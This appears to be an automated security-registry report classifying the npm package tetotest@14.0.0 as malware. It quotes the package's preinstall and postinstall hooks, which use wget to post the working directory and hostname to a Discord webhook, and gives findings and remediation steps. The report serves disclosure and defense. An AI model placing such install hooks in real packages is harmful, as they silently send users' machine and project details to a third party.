registry / Data exfiltration / tetotest
tetotest
This report shows the evidence for tetotest@14.0.0, the only known version.
AI Security Review
scanned 1mo ago · by lpm-firewall-aiDirect source inspection confirms two automatic lifecycle hooks that exfiltrate local installation metadata to an external Discord webhook. This is concrete malicious install-time data exfiltration.
Static reason
One or more suspicious static signals were detected.
Trigger
npm package installation
Impact
Reveals local project location and machine identity to a third party.
Mechanism
preinstall and postinstall wget webhook posts using pwd and hostname
Attack narrative
When npm installs the package, its preinstall hook posts the current working directory to a Discord webhook. Its postinstall hook then posts the host name to that webhook. These hooks run automatically and provide no package functionality, creating an unconsented channel for host and project metadata.
AI rationale
Direct source inspection confirms two automatic lifecycle hooks that exfiltrate local installation metadata to an external Discord webhook. This is concrete malicious install-time data exfiltration.
Evidence
package.json/dev/null
Network endpoints1
discord.com
Decision evidence
public snapshotAI called this Malicious at 99.0% confidence as Malware with low false-positive risk.
Evidence for block
- The preinstall hook sends the current installation directory to a Discord webhook.
- The postinstall hook sends the machine hostname to the same Discord webhook.
- Both transmissions occur automatically during npm installation with no user action.
Evidence against
- The snapshot contains only package.json and no additional payload source files.
- No credential harvesting, shell execution beyond the hooks, or persistence was found.
Behavioral surface
Source & flagged code
6 flagged · loading sourcepackage.jsonView file
•scripts.postinstall = wget --quiet --header=\"Content-Type: application/json\" --post-data=\"{\\\"content\\\": \\\"💻 Installed successfully on device: $(hostname)\\\"}\" https://discord.com/api/webhooks...
High
Install Time Lifecycle Scripts
Package defines install-time lifecycle scripts.
package.jsonView on unpkg7"preinstall": "wget --quiet --header=\\\"Content-Type: application/json\\\" --post-data=\\\"{\\\\\\\"content\\\\\\\": \\\\\\\"📂 Installation started from directory: $(pwd)\\\\\\\"}\\\" https://discord.[redacted]-VrhF5qfz2Pes-[redacted] -O /dev/null",
High
Suspicious Lifecycle Evidence
The preinstall hook sends the current installation directory to a Discord webhook.
package.jsonView on unpkg · L78"postinstall": "wget --quiet --header=\\\"Content-Type: application/json\\\" --post-data=\\\"{\\\\\\\"content\\\\\\\": \\\\\\\"💻 Installed successfully on device: $(hostname)\\\\\\\"}\\\" https://discord.[redacted]-VrhF5qfz2Pes-[redacted] -O /dev/null"
High
Suspicious Lifecycle Evidence
The postinstall hook sends the machine hostname to the same Discord webhook.
package.jsonView on unpkg · L8•scripts.preinstall = wget --quiet --header=\"Content-Type: application/json\" --post-data=\"{\\\"content\\\": \\\"📂 Installation started from directory: $(pwd)\\\"}\" https://discord.com/api/webhooks/1...
Medium
Ambiguous Install Lifecycle Script
Install-time lifecycle script is not statically allowlisted and needs review.
package.jsonView on unpkg•scripts.postinstall = wget --quiet --header=\"Content-Type: application/json\" --post-data=\"{\\\"content\\\": \\\"💻 Installed successfully on device: $(hostname)\\\"}\" https://discord.com/api/webhooks...
Medium
Ambiguous Install Lifecycle Script
Install-time lifecycle script is not statically allowlisted and needs review.
package.jsonView on unpkgpackage.json#scripts.preinstallView file
•scripts.preinstall = wget --quiet --header=\"Content-Type: application/json\" --post-data=\"{\\\"content\\\": \\\"📂 Installation started from directory: $(pwd)\\\"}\" https://discord.[redacted]-VrhF5qfz2Pes-[redacted] -O /dev/null
High
Manifest Script Host Fingerprint Callback
An npm script sends host identity through command substitution to a fixed external destination.
package.json#scripts.preinstallView on unpkgFindings
4 High2 Medium1 Low
HighInstall Time Lifecycle Scriptspackage.json
HighManifest Script Host Fingerprint Callbackpackage.json#scripts.preinstall
HighSuspicious Lifecycle Evidencepackage.json
HighSuspicious Lifecycle Evidencepackage.json
MediumAmbiguous Install Lifecycle Scriptpackage.json
MediumAmbiguous Install Lifecycle Scriptpackage.json
LowScripts Present
Affected versions and remediation
This report applies to tetotest@14.0.0.
The versions list below shows the verdict for each recorded version.
- Avoid installing tetotest@14.0.0. Remove it from direct dependencies and check your lockfile for transitive copies.
- Choose an independently verified alternative or release. This report does not establish that other versions are safe.
- If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.
Evidence last updated: .
Source advisory published: .
Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.